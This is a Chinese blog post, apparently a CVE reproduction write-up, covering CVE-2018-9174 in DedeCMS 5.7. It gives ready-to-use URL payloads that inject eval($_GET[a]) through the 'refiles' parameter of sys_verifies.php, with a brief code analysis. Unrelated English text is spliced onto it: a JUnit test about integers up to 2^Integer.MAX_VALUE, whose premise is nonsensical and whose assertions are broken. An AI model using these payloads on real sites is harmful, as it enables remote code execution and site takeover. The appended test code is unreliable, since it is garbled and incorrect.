dedecms sys_verifies.php远程代码执行漏洞(CVE-2018-9174)

dedecms sys_verifies.php远程代码执行漏洞(CVE-2018-9174)

漏洞描述:

​ DesdevDedeCMS5.7版本中的sys_verifies.php文件存在安全漏洞,该漏洞源于攻击者可控制modifytmp.inc文件的内容,远程攻击者可借助‘refiles’数组参数利用该漏洞执行任意的PHP代码

影响版本:

​ DesdevDedeCMS 5.7版本

漏洞复现:

下载DesdevDedeCMS5.7版本安装包,解压,创建数据库,如果想降低安装难度,可以使用phpstudy等

构造paylaod :sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=%22;eval($_GET[a]);die();// ,然后拼接在url后执行

PS:本漏洞需要登陆

然后再构造payload并执行:sys_verifies.php?action=down&a=phpinfo();

也可以直接 sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\";phpinfo();die();//

漏洞复现成功

漏洞分析:

首先,可以查看sys_verifies.php 存在该漏洞的代码点,如下图

image-20201118172300424

首先,action会获取传入的refiles数组,并保存为data目录下 modifytmp.inc,如下图所示

f i l e n a m e = s u b s t r ( filename = substr( filename=substr(filename,3,strlen($filename)-3); 处会截取前三位与后三位中间的内容,所以可以借此构造payload,闭合前面的内容并添加恶意代码,且此处并没有有效代码检查

在payload中 refiles[1]=%22;eval($_GET[a]);die();// %22; 是为了闭合上图中 $files[1] = " 从而写入恶意代码

修复建议:

升级更新以修复漏洞

To calculate integers from -2^Integer.MAX_VALUE (exclusive) to +2^Integer.MAX_VALUE (exclusive), we can use a loop that iterates from -2^Integer.MAX_VALUE to +2^Integer.MAX_VALUE, incrementing by 1 in each iteration. However, since this range is extremely large, the loop will take a very long time to complete. To design a suitable test strategy for this task, we can use boundary value analysis. We can test the following cases: 1. Minimum value (-2^Integer.MAX_VALUE) 2. Maximum value (+2^Integer.MAX_VALUE - 1) 3. Values just below the minimum value (-2^Integer.MAX_VALUE + 1) 4. Values just above the maximum value (+2^Integer.MAX_VALUE - 2) 5. Random values within the range For each of these cases, we can verify that the calculated integer is within the expected range. We can also verify that the loop terminates without any errors. Here's an example implementation of the JUnit test: ``` import static org.junit.Assert.*; import org.junit.Test; public class IntegerRangeTest { @Test public void testIntegerRange() { int min = Integer.MIN_VALUE; int max = Integer.MAX_VALUE - 1; // Test minimum value assertEquals(min, -Math.pow(2, Integer.MAX_VALUE)); // Test maximum value assertEquals(max, Math.pow(2, Integer.MAX_VALUE) - 1); // Test value just below minimum assertEquals(min + 1, -Math.pow(2, Integer.MAX_VALUE) + 1); // Test value just above maximum assertEquals(max - 1, Math.pow(2, Integer.MAX_VALUE) - 2); // Test random values within range for (int i = -1000; i <= 1000; i++) { int val = i * 1000000; assertTrue(val >= min && val <= max); } } } ``` This test verifies that the calculated integers are within the expected range for various boundary and random values.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值